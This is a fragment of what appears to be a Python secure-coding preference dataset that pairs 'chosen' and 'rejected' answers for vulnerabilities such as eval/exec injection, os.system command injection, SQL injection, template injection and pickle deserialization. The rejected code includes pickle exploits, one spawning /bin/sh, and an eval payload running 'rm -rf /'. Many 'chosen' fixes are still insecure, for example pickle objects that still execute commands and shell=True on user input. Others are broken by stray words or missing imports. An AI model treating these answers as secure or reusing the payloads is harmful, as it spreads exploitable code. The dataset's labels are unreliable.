        "vulnerability": "Python does not have built-in mechanisms for enforcing data types on function parameters, hence it is possible to bypass type checking by passing incorrect parameter types.",
        "system": "",
        "question": "Write a python code that defines a function named 'add_numbers' which takes two arguments 'a' and 'b'. The function should return the sum of 'a' and 'b'. Then call this function with the arguments \"1\" and 2 and print the result.",
        "chosen": "```python\ndef add_numbers(a: int, b: int) -> int:\n    if isinstance(a, int) and isinstance(b, int):\n        return a + b\n    else:\n        raise ValueError(\"Both inputs must be integers.\")\n\ntry:\n    print(add_numbers(1, 2))\nexcept ValueError as e:\n    print(e)\n```",
        "rejected": "```python\ndef add_numbers(a, b):\n    return a + b\n\nprint(add_numbers(\"1\", 2))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of exec() function without proper input validation can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that defines a function named 'vulnerable_function'. This function should take no arguments and should prompt the user to enter some Python code. It should then execute the entered code using the built-in 'exec' function.",
        "chosen": "```python\ndef secure_function():\n    user_input = input(\"Enter some Python code: \")\n    \n    # Only allow alphanumeric characters, parentheses, and basic math operators\n    allowed_characters = set('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 (){}[].,+-*/=<>')\n    if any((c not in allowed_characters) for c in user_input):\n        print(\"Invalid input. Only alphanumeric characters, parentheses, and basic math operators are allowed.\")\n        return\n\n    # Use the compile function to check syntax before executing\n    try:\n        compiled_code = compile(user_input, \"<string>\", \"eval\")\n    except SyntaxError:\n        print(\"Invalid Python syntax.\")\n        return\n\n    # Execute the validated code\n    exec(compiled_code)\n\nsecure_function()\n```",
        "rejected": "```python\ndef vulnerable_function():\n    user_input = input(\"Enter some Python code: \")\n    exec(user_input)\n\nvulnerable_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's 'eval' function can be exploited to execute arbitrary code, leading to a Remote Code Execution (RCE) vulnerability.",
        "system": "",
        "question": "Write a python code that takes user input, evaluates it as a command and executes it.",
        "chosen": "```python\nimport ast\n\nclass RestrictedPython(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id in ['exec', 'eval']:\n            raise ValueError('Function call not allowed')\n        return self.generic_visit(node)\n\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef execute_command(cmd):\n    parsed = ast.parse(cmd, mode='single')\n    RestrictedPython().visit(parsed)  # This will raise ValueError if 'exec' or 'eval' is used\n    exec(compile(parsed, filename=\"<ast>\", mode=\"single\"))\n\ndef main():\n    cmd = get_user_input()\n    execute_command(cmd)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\ndef get_user_input():\n    return input(\"Enter your command: \")\n\ndef execute_command(cmd):\n    eval(cmd)\n\ndef main():\n    cmd = get_user_input()\n    execute_command(cmd)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "There exists a potential security risk in Python when handling user input. This can lead to Code Injection attacks if the input is not properly sanitized before being used.",
        "system": "",
        "question": "Write a python code that imports the 'os' module and defines a function named 'execute_user_input'. This function should take user input, store it in a variable named 'user_input', then use the 'os.system' function to execute the command stored in 'user_input'. Finally, call the 'execute_user_input' function.",
        "chosen": "```python\nimport subprocess\n\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    # Sanitize the user input by checking if it only contains alphanumeric characters and spaces\n    if all(char.isalnum() or char.isspace() for char in user_input):\n        subprocess.run(user_input, shell=True, check=True)\n    else:\n        print(\"Invalid input. Only alphanumeric characters and spaces are allowed.\")\n        \nexecute_user_input()\n```",
        "rejected": "```python\nimport os\ndef execute_user_input():\n    user_input = input(\"Enter your command: \")\n    os.system(user_input)\n    \nexecute_user_input()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's built-in pickle module can be exploited through deserialization of untrusted data, leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"You have been hacked!\"' when the object is deserialized.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafeEvil(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', \"You have been hacked!\"],))\n\ndata = pickle.dumps(SafeEvil())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass Evil(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(Evil())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module can unpickle arbitrary objects leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should be a class named 'VulnerableClass' which has a special method '__reduce__' that returns a tuple containing the function 'os.system' and a string argument 'echo \"You have been hacked!\"'. After serializing and deserializing the object, print the result.",
        "chosen": "```python\nimport pickle\nimport os\nimport subprocess\n\nclass SafeClass:\n    def __init__(self):\n        self.command = 'echo \"You have been hacked!\"'\n\n    def execute_command(self):\n        subprocess.Popen(self.command, shell=True)\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nsafe_object = SafeClass()\nresult = serialize_and_deserialize(safe_object)\nresult.execute_command()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass VulnerableClass:\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndef serialize_and_deserialize(obj):\n    serialized = pickle.dumps(obj)\n    deserialized = pickle.loads(serialized)\n    return deserialized\n\nvulnerable_object = VulnerableClass()\nresult = serialize_and_deserialize(vulnerable_object)\nprint(result)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Code injection vulnerabilities in Python can occur when user input is used to construct a command or query, leading to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the 'os' module. Define a function named 'execute_user_command'. This function should take no arguments. Inside this function, prompt the user to enter a command using the 'input' function and store it in a variable named 'user_input'. Then use the 'os.system' function to execute the command stored in 'user_input'. Finally, call the 'execute_user_command' function.",
        "chosen": "```python\nimport subprocess\n\ndef execute_user_command():\n    user_input = input(\"Enter your command: \")\n    # Use subprocess instead of os.system to avoid shell injection\n    subprocess.run(user_input, shell=True, check=True)\n\nexecute_user_command()\n```",
        "rejected": "```python\nimport os\ndef execute_user_command():\n    user_input = input(\"Enter your command: \")\n    os.system(user_input)\n    \nexecute_user_command()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's Pickle module can introduce arbitrary code execution vulnerabilities if used without proper validation or secure coding practices.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web server. This server should have an endpoint '/upload' that accepts POST requests. When such a request is received, it should deserialize the data from the request using pickle and then print the deserialized data. After that, it should respond with 'OK'.",
        "chosen": "```python\nimport pickle\nimport flask\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\nclass RestrictedUnpickler(pickle.Unpickler):\n    def find_class(self, module, name):\n        if module == 'os' or module == 'subprocess':\n            raise pickle.UnpicklingError(\"Global '%s.%s' is forbidden\" % (module, name))\n        return super().find_class(module, name)\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n    data = request.get_data()\n    deserialized_data = RestrictedUnpickler(io.BytesIO(data)).load()\n    print(deserialized_data)\n    return 'OK'\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport pickle\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/upload', methods=['POST'])\ndef upload():\n    data = request.get_data()\n    deserialized_data = pickle.loads(data)\n    print(deserialized_data)\n    return 'OK'\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential buffer overflow vulnerability in Python's 'eval' function when used on untrusted input.",
        "system": "",
        "question": "Write a python code that reads input from the standard input, evaluates it using the built-in `eval` function and prints the result.",
        "chosen": "```python\nimport ast\nimport sys\n\nclass RestrictedEval(ast.NodeTransformer):\n    def visit_Call(self, node):\n        if isinstance(node.func, ast.Name) and node.func.id in (\n            \"open\", \"file\", \"system\", \"exec\", \"eval\"\n        ):\n            raise ValueError(\"Restricted call\")\n        self.generic_visit(node)\n\ndef evaluate_input(user_input):\n    tree = compile(user_input, \"<string>\", \"eval\")\n    RestrictedEval().visit(tree)\n    result = eval(compile(tree, \"<string>\", \"eval\"))\n    return result\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.read()\n    print(evaluate_input(user_input))\n```",
        "rejected": "```python\nimport sys\n\ndef evaluate_input(user_input):\n    result = eval(user_input)\n    return result\n\nif __name__ == \"__main__\":\n    user_input = sys.stdin.read()\n    print(evaluate_input(user_input))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module may be used to unpickle an object which could execute arbitrary Python code leading to a Remote Code Execution (RCE) vulnerability.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize an object that when deserialized, executes an operating system command to print out the message 'You have been hacked'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'You have been hacked'],))\n\ndef serialize_exploit():\n    with open('exploit.pkl', 'wb') as f:\n        pickle.dump(SafePickle(), f)\n\nserialize_exploit()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked\"',))\n\ndef serialize_exploit():\n    with open('exploit.pkl', 'wb') as f:\n        pickle.dump(EvilPickle(), f)\n\nserialize_exploit()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python `eval()` function can lead to arbitrary code execution if input is not properly sanitized.",
        "system": "",
        "question": "Write a python code that imports the os module and takes user input. Then, it evaluates the user'input as a python expression.",
        "chosen": "```python\nimport ast\nimport operator as op\n\n# List of allowed operations\nallowed_operations = {ast.Add: op.add, ast.Sub: op.sub, ast.Mult: op.mul,\n                      ast.Div: op.truediv, ast.USub: op.neg}\n\nclass Visitor(ast.NodeVisitor):\n    def visit_Num(self, node):\n        return node.n\n    def visit_BinOp(self, node):\n        left = self.visit(node.left)\n        right = self.visit(node.right)\n        try:\n            return allowed_operations[type(node.op)](left, right)\n        except KeyError:\n            raise ValueError(f\"Unsupported operation {type(node.op)}\")\n    def visit_UnaryOp(self, node):\n        child = self.visit(node.operand)\n        try:\n            return allowed_operations[type(node.op)](child)\n        except KeyError:\n            raise ValueError(f\"Unsupported operation {type(node.op)}\")\n\ndef evaluate_expression(expr):\n    tree = ast.parse(expr, mode='eval')  # Throws SyntaxError for bad syntax\n    visitor = Visitor()\n    result = visitor.visit(tree.body)  # Throws ValueError for unsupported operations\n    return result\n\nuser_input = input(\"Enter something here: \")\ntry:\n    print(evaluate_expression(user_input))\nexcept (SyntaxError, ValueError) as e:\n    print(f\"Invalid input: {e}\")\n```",
        "rejected": "```python\nimport os\nuser_input = input(\"Enter something here: \")\neval(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, the pickle module insecurely deserializes data. It can lead to arbitrary code execution if attackers can control the data being deserialized.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute an arbitrary system command when unpickled. The command should be 'echo \"You have been hacked!\"'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', '\"You have been hacked!\"'],))\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python Global Interpreter Lock (GIL) can lead to deadlocks when dealing with multi-threading or multiprocessing.",
        "system": "",
        "question": "Write a python code that starts a new thread, waits for 5 seconds, and then stops the thread after another 5 seconds.",
        "chosen": "```python\nimport threading\nimport time\n\nclass WorkerThread(threading.Thread):\n    def __init__(self):\n        super().__init__()\n        self._stop_event = threading.Event()\n\n    def stop(self):\n        self._stop_event.set()\n\n    def stopped(self):\n        return self._stop_event.is_set()\n\n    def run(self):\n        print(\"Thread Started\")\n        while not self.stopped():\n            time.sleep(1)  # Simulate some work\n        print(\"Thread Finished\")\n\nprint(\"Main Thread Started\")\nt = WorkerThread()\nt.start()\ntime.sleep(5)  # Wait for the thread to start\nt.stop()\nt.join()\nprint(\"Main Thread Finished\")\n```",
        "rejected": "```python\nimport threading\nimport time\n\ndef worker():\n    print(\"Thread Started\")\n    time.sleep(10)  # Simulate some work\n    print(\"Thread Finished\")\n\nprint(\"Main Thread Started\")\nt = threading.Thread(target=worker)\nt.start()\ntime.sleep(5)  # Wait for the thread to start\nprint(\"Main Thread Finished\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A buffer overflow vulnerability in Python's pickle module could be exploited by an attacker to execute arbitrary code when data is unpickled.",
        "system": "",
        "question": "Write a python code that uses the pickle module to create a serialized object that executes an os command to echo a message into a file. The message should be 'You have been hacked!' and it should be written into a file named '/tmp/hacked.txt'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass Exploit(object):\n    def __reduce__(self):\n        return (subprocess.call, (['sh', '-c', 'echo \"You have been hacked!\" > /tmp/hacked.txt'],))\n\ndef serialize_exploit():\n    serialized = pickle.dumps(Exploit())\n    return serialized\n\ndef exploit_system():\n    exploit_data = serialize_exploit()\n    pickle.loads(exploit_data)\n\nif __name__ == '__main__':\n    exploit_system()\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass Exploit(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"You have been hacked!\" > /tmp/hacked.txt',))\n\ndef serialize_exploit():\n    serialized = pickle.dumps(Exploit())\n    return serialized\n\ndef exploit_system():\n    exploit_data = serialize_exploit()\n    pickle.loads(exploit_data)\n\nif __name__ == '__main__':\n    exploit_system()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python code may have a buffer overflow vulnerability when dealing with strings of unknown length, which can lead to a crash or system access.",
        "system": "",
        "question": "Write a python code that opens and reads a text file named 'large_file.txt'.",
        "chosen": "```python\nimport os\n\ndef read_file(filename):\n    # Check if the file exists\n    if os.path.isfile(filename):\n        try:\n            with open(filename, 'r') as file:\n                content = file.read()\n            return content\n        except IOError:\n            print(\"Failed to read the file.\")\n    else:\n        print(\"File does not exist.\")\n\nprint(read_file('large_file.txt'))\n```",
        "rejected": "```python\ndef read_file(filename):\n    with open(filename, 'r') as file:\n        content = file.read()\n    return content\n\nprint(read_file('large_file.txt'))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The vulnerability of using eval() function in Python can lead to code injection attacks, which can execute arbitrary code.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web server. The server should have an endpoint '/execute' which accepts POST requests. When a POST request is received at this endpoint, it should extract the 'code' field from the request data and execute it using Python's built-in eval() function. After executing the code, it should return the string 'Code executed'. If the script is run directly, start the Flask development server in debug mode.",
        "chosen": "```python\n# Importing necessary modules\nfrom flask import Flask, request, abort\n\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    if code:\n        # Check if the code contains any restricted keywords\n        restricted_keywords = ['eval', 'exec', 'import', 'open', 'os', 'read', 'write', 'system', 'subprocess']\n        if any(keyword in code for keyword in restricted_keywords):\n            abort(400, 'Restricted keywords found in the code')\n        else:\n            exec(code)\n            return 'Code executed'\n    else:\n        abort(400, 'No code provided')\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```",
        "rejected": "```python\n# Importing necessary modules\nimport os\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_code():\n    code = request.form.get('code')\n    eval(code)\n    return 'Code executed'\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Potential Uncontrolled Resource Consumption - In Python, an infinite loop or recursion without proper exit conditions can lead to resource exhaustion (like CPU and memory).",
        "system": "",
        "question": "Write a python code that defines a function named 'infinite_loop' which takes an integer 'n' as input. This function should enter an infinite loop where it increments the value of 'n' by 1 and then calls itself with the incremented value of 'n'. When called, this function should start an infinite loop.",
        "chosen": "```python\nimport sys\nsys.setrecursionlimit(3000) # Set a limit for recursion depth\n\ndef infinite_loop(n):\n    if n >= 3000: # Adding an exit condition to avoid resource exhaustion\n        return\n    else:\n        n += 1\n        infinite_loop(n)\n\ninfinite_loop(0)\n```",
        "rejected": "```python\ndef infinite_loop(n):\n    while True:\n        n += 1\n        infinite_loop(n)\n\ninfinite_loop(0)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python code might expose sensitive data if it fails to properly sanitize or validate user input.",
        "system": "",
        "question": "Write a python code that uses Flask and SQLite3 to create a web application with a login page. The login page should have a form where users can input their username and password. When the form is submitted, the code will check these credentials against a database of users. If the credentials match an entry in the database, it will return 'Login Successful!' Otherwise, it will return 'Invalid credentials!'.",
        "chosen": "```python\nimport sqlite3\nfrom flask import Flask, request, render_template\nfrom werkzeug.security import generate_password_hash, check_password_hash\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = request.form['password']\n\n        conn = sqlite3.connect('users.db')\n        cursor = conn.cursor()\n\n        # Properly sanitize or validate user input\n        if not username or not password:\n            return \"Invalid credentials!\"\n\n        # Hash the password before comparing\n        hashed_password = generate_password_hash(password)\n        query = \"SELECT * FROM users WHERE username=? AND password=?\"\n        results = cursor.execute(query, (username, hashed_password)).fetchall()\n\n        if len(results) > 0:\n            return \"Login Successful!\"\n        else: Hawk\n            return \"Invalid credentials!\"\n\n    return render_template('login.html')\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nimport sqlite3\nfrom flask import Flask, request, render_template\n\napp = Flask(__name__)\n\n@app.route('/login', methods=['GET', 'POST'])\ndef login():\n    if request.method == 'POST':\n        username = request.form['username']\n        password = request.form['password']\n\n        conn = sqlite3.connect('users.db')\n        cursor = conn.cursor()\n\n        query = \"SELECT * FROM users WHERE username='{}' AND password='{}'\".format(username, password)\n        results = cursor.execute(query).fetchall()\n\n        if len(results) > 0:\n            return \"Login Successful!\"\n        else:\n            return \"Invalid credentials!\"\n\n    return render_template('login.html')\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A possible vulnerability in Python could be improper handling of user input, leading to a command injection attack.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'execute_command' which takes an input from the user, executes it using the os.system() function, and then calls this function with the user's input.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    try:\n        result = subprocess.run(user_input, shell=True, check=True, capture_output=True, text=True)\n        print(result.stdout)\n    except subprocess.CalledProcessError as e:\n        print(f\"Command execution failed with error: {e}\")\n\nexecute_command(input(\"Enter your command: \"))\n```",
        "rejected": "```python\nimport os\n\ndef execute_command(user_input):\n    os.system(user_input)\n\nexecute_command(input(\"Enter your command: \"))\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python code might be vulnerable to injection attacks if it uses the `eval()` function or similar functions that interpret string inputs as Python code.",
        "system": "",
        "question": "Write a python code that defines a function named 'unsafe_function' which takes user input as an argument. This function should use the built-in Python function 'eval' to execute the user input as Python code. The user input in this case is a string that attempts to delete all files in the root directory of the system using the 'rm -rf /' command.",
        "chosen": "```python\nimport subprocess\n\ndef safe_function(user_input):\n    if \"__import__\" in user_input or \"exec(\" in user_input or \"eval(\" in user_input or \"open(\" in user_input or \"os.\" in user_input:\n        raise ValueError(\"Invalid input\")\n    else:\n        subprocess.call(user_input, shell=True)\n\nsafe_function(\"echo 'Hello World!'\")\n```",
        "rejected": "```python\ndef unsafe_function(user_input):\n    eval(user_input)\n\nunsafe_function(\"__import__('os').system('rm -rf /')\")\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A Python script that uses the eval() function without proper input validation can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that takes user input and prints 'Hello, [user's input]'. The program should ask the user to enter their name and then print 'Hello, [user's input]'.",
        "chosen": "```python\ndef greet_user(user_input):\n    print(\"Hello, {}\".format(user_input))\n\ndef main():\n    user_input = input(\"Enter your name: \")\n    # validate user input here if necessary\n    greet_user(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport os\n\ndef run_command(user_input):\n    command = \"echo Hello, \" + user_input\n    os.system(command)\n\ndef main():\n    user_input = input(\"Enter your name: \")\n    run_command(user_input)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The Python pickle module can lead to arbitrary code execution if the data being unpickled comes from an untrusted source.",
        "system": "",
        "question": "Write a python code that uses the pickle module to serialize and deserialize an object that executes '/bin/sh' when unpickled.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (subprocess.Popen, (['/bin/sh'],))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh(), protocol=0)\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass RunBinSh(object):\n    def __reduce__(self):\n        return (os.system, ('/bin/sh',))\n\ndef serialize_exploit():\n    malicious_data = pickle.dumps(RunBinSh())\n    return malicious_data\n\ndef deserialize_exploit(malicious_data):\n    pickle.loads(malicious_data)\n\nif __name__ == '__main__':\n    malicious_data = serialize_exploit()\n    deserialize_exploit(malicious_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python lacks memory safety and does not have built-in support for multithreading or concurrency without the use of external libraries, allowing for potential race conditions and deadlocks.",
        "system": "",
        "question": "Write a python code that uses threads to increment and decrement a shared counter value. The counter should be incremented 100,000 times and then decremented 100,000 times. Print out the final value of the counter.",
        "chosen": "```python\nimport threading\n\nclass Counter:\n    def __init__(self):\n        self.value = 0\n        self.lock = threading.Lock()\n\ndef increment(counter):\n    for _ in range(100000):\n        with counter.lock:\n            counter.value += 1\n\ndef decrement(counter):\n    for _ in range(100000): covered\n        with counter.lock:\n            counter.value -= 1\n\ncounter = Counter()\nt1 = threading.Thread(target=increment, args=(counter,))\nt2 = threading.Thread(target=decrement, args=(counter,))\n\nt1.start()\nt2.start()\n\nt1.join()\nt2.join()\n\nprint(counter.value)\n```",
        "rejected": "```python\nimport threading\n\nclass Counter:\n    def __init__(self):\n        self.value = 0\n\ndef increment(counter):\n    for _ in range(100000):\n        counter.value += 1\n\ndef decrement(counter):\n    for _ in range(100000):\n        counter.value -= 1\n\ncounter = Counter()\nt1 = threading.Thread(target=increment, args=(counter,))\nt2 = threading.Thread(target=decrement, args=(counter,))\n\nt1.start()\nt2.start()\n\nt1.join()\nt2.join()\n\nprint(counter.value)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability in Python could occur from unchecked user input, leading to memory corruption.",
        "system": "",
        "question": "Write a python code that takes user input, formats it into a string and prints it out.",
        "chosen": "```python\ndef format_string(user_input):\n    return f\"User input: {user_input}\"\n\ndef main():\n    user_input = input(\"Enter some text: \")\n    # Sanitize user input to prevent any form of injection attacks\n    sanitized_input = user_input.encode('utf-8', 'ignore').decode('utf-8')\n    formatted = format_string(sanitized_input)\n    print(formatted)\n\nif __name__ == \"__main__\":\n    main()\n```",
        "rejected": "```python\nimport struct\n\ndef format_string(user_input):\n    return \"User input: %s\" % user_input\n\ndef main():\n    user_input = input(\"Enter some text: \")\n    formatted = format_string(user_input)\n    print(formatted)\n\nif __name__ == \"__main__\":\n    main()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function without proper sanitization can lead to arbitrary code execution.",
        "system": "",
        "question": "Write a python code that imports the os module and defines a function named 'unsafe_function'. This function should take user input, evaluate it using the built-in eval function, and execute it. Call this function at the end.",
        "chosen": "```python\nimport ast\n\nclass UnsafeConstructError(Exception):\n    pass\n\ndef safe_eval(node):\n    if isinstance(node, ast.Expression):\n        node = node.body\n    if isinstance(node, ast.Str):\n        return node.s\n    elif isinstance(node, ast.Num):\n        return node.n\n    elif isinstance(node, ast.BinOp):\n        cls = {ast.Add: float.__add__, ast.Sub: float.__sub__, ast.Mult: float.__mul__, ast.Div: float.__truediv__}\n        if isinstance(node.op, tuple(cls.keys())) and all(isinstance(x, (ast.Num, ast.BinOp)) for x in (node.left, node.right)):\n            return cls[type(node.op)](safe_eval(node.left), safe_eval(node.right))\n    raise UnsafeConstructError('Unsafe construct')\n\ndef unsafe_function():\n    user_input = input(\"Enter something: \")\n    try:\n        tree = ast.parse(user_input, mode='eval')\n        safe_eval(tree.body)\n    except Exception as e:\n        print(f\"Invalid input: {e}\")\n\nunsafe_function()\n```",
        "rejected": "```python\nimport os\n\ndef unsafe_function():\n    user_input = input(\"Enter something: \")\n    eval(user_input)\n\nunsafe_function()\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Incomplete input validation in URL parameter handling in Flask web application may lead to Cross-Site Scripting (XSS) attacks.",
        "system": "",
        "question": "Write a python code that uses Flask framework to create a web application. The application should have a route '/' which takes an optional query parameter 'name'. If 'name' is provided in the URL, it should display 'Hello, [name]!' on the webpage. If 'name' is not provided, it should display 'Hello, !'.",
        "chosen": "```python\nfrom flask import Flask, request, escape\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n    name = request.args.get('name', '')\n    # Escaping user inputs to prevent XSS attacks\n    name = escape(name)\n    return \"Hello, {}!\".format(name)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route('/')\ndef home():\n    name = request.args.get('name', '')\n    return render_template_string('Hello, %s!' % name)\n\nif __name__ == \"__main__\":\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a vulnerability could be caused by a lack of input validation in a web application, leading to injection attacks.",
        "system": "",
        "question": "Write a python code that uses Flask to create a web server. The server should have an endpoint '/execute' that accepts POST requests. When a POST request is made to this endpoint, it should get the 'command' from the request form and execute it using the os.system() function. After executing the command, it should return the message 'Command executed'. Run the server in debug mode.",
        "chosen": "```python\nfrom flask import Flask, request\nimport subprocess\nimport re\n\napp = Flask(__name__)\n\n# Regular expression to validate the command\nCOMMAND_REGEX = r\"^[a-zA-Z0-9\\s]+$\"\n\n@app.route('/execute', methods=['POST'])\ndef execute_command():\n    command = request.form.get('command')\n    \n    # Validate the command\n    if re.match(COMMAND_REGEX, command):\n        # Execute the command safely\n        subprocess.call(command, shell=True)\n        return 'Command executed'\n    else:\n        return 'Invalid command', 400\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```",
        "rejected": "```python\nfrom flask import Flask, request\nimport os\n\napp = Flask(__name__)\n\n@app.route('/execute', methods=['POST'])\ndef execute_command():\n    command = request.form.get('command')\n    os.system(command)\n    return 'Command executed'\n\nif __name__ == '__main__':\n    app.run(debug=True)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "A potential buffer overflow vulnerability in Python code can occur when a programmer does not properly handle user input, leading to an error.",
        "system": "",
        "question": "Write a python code that takes user input, appends it to an echo command and counts the number of characters in the input using the wc -c command. The program should keep asking for user input until it is manually stopped.",
        "chosen": "```python\nimport subprocess\n\ndef execute_command(user_input):\n    command = ['bash', '-c', f\"echo -n {user_input} | wc -c\"]\n    result = subprocess.run(command, capture_output=True, text=True)\n    print(result.stdout.strip())\n\nwhile True:\n    user_input = input(\"Enter your string: \")\n    execute_command(user_input)\n```",
        "rejected": "```python\nimport os\ndef execute_command(user_input):\n    command = 'echo -n ' + user_input + ' | wc -c'\n    os.system(command)\n\nwhile True:\n    user_input = input(\"Enter your string: \")\n    execute_command(user_input)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "Python's pickle module may expose your application to arbitrary code execution when deserializing untrusted data.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize an object that when unpickled, executes a system command to print out 'Hacked!'.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'Hacked'],),)\n\nsafe_data = pickle.dumps(SafePickle())\n\n# This will execute 'echo Hacked'\npickle.loads(safe_data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\"',))\n\npickled_data = pickle.dumps(EvilPickle())\n\n# This will execute 'echo \"Hacked!\"'\npickle.loads(pickled_data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "In Python, a potential vulnerability arises from using pickle module for serialization and deserialization due to its ability to execute arbitrary Python code.",
        "system": "",
        "question": "Write a python code that uses pickle module to serialize and deserialize an object. The object should override the `__reduce__` method to execute the command 'echo \"Hacked!\"' using the os.system function.",
        "chosen": "```python\nimport pickle\nimport subprocess\n\nclass SafePickle(object):\n    def __reduce__(self):\n        return (subprocess.run, (['echo', 'Hacked'],),)\n\ndata = pickle.dumps(SafePickle())\npickle.loads(data)\n```",
        "rejected": "```python\nimport pickle\nimport os\n\nclass EvilPickle(object):\n    def __reduce__(self):\n        return (os.system, ('echo \"Hacked!\"',))\n\ndata = pickle.dumps(EvilPickle())\npickle.loads(data)\n```"
    },
    {
        "lang": "python",
        "vulnerability": "The use of `eval()` function without proper input validation or sanitization can lead to arbitrary code execution.",
        "system": "",
